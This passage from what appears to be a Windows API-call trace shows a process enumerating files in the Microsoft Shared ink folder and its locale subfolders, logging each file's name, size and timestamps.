ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.095] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.095] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0054.095] GetLastError () returned 0x12 [0054.095] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0054.095] GetLastError () returned 0x12 [0054.095] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0054.095] GetLastError () returned 0x12 [0054.095] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0054.095] GetLastError () returned 0x12 [0054.096] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0054.096] GetLastError () returned 0x12 [0054.096] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0054.096] GetLastError () returned 0x12 [0054.096] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0054.096] GetLastError () returned 0x12 [0054.096] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0054.096] GetLastError () returned 0x12 [0054.096] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0054.096] GetLastError () returned 0x12 [0054.096] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0054.096] GetLastError () returned 0x12 [0054.096] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0054.096] GetLastError () returned 0x12 [0054.096] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0054.097] GetLastError () returned 0x12 [0054.097] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0054.097] GetLastError () returned 0x12 [0054.097] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0054.097] GetLastError () returned 0x12 [0054.097] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0054.097] GetLastError () returned 0x12 [0054.097] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0054.097] GetLastError () returned 0x12 [0054.097] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0054.097] GetLastError () returned 0x12 [0054.097] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0054.097] GetLastError () returned 0x12 [0054.097] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0054.098] GetLastError () returned 0x12 [0054.098] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0054.098] GetLastError () returned 0x12 [0054.098] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0054.098] GetLastError () returned 0x12 [0054.098] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0054.098] GetLastError () returned 0x12 [0054.098] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.098] GetLastError () returned 0x12 [0054.098] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0054.098] GetLastError () returned 0x12 [0054.098] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0054.099] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.099] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.099] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0054.099] GetLastError () returned 0x12 [0054.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.099] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.099] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.099] GetLastError () returned 0x12 [0054.099] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.099] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.099] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.099] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0054.099] GetLastError () returned 0x12 [0054.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.270] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.270] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.270] GetLastError () returned 0x12 [0054.271] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.271] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.271] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.271] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0054.271] GetLastError () returned 0x12 [0054.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.271] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.271] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.271] GetLastError () returned 0x12 [0054.271] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.271] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.272] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, 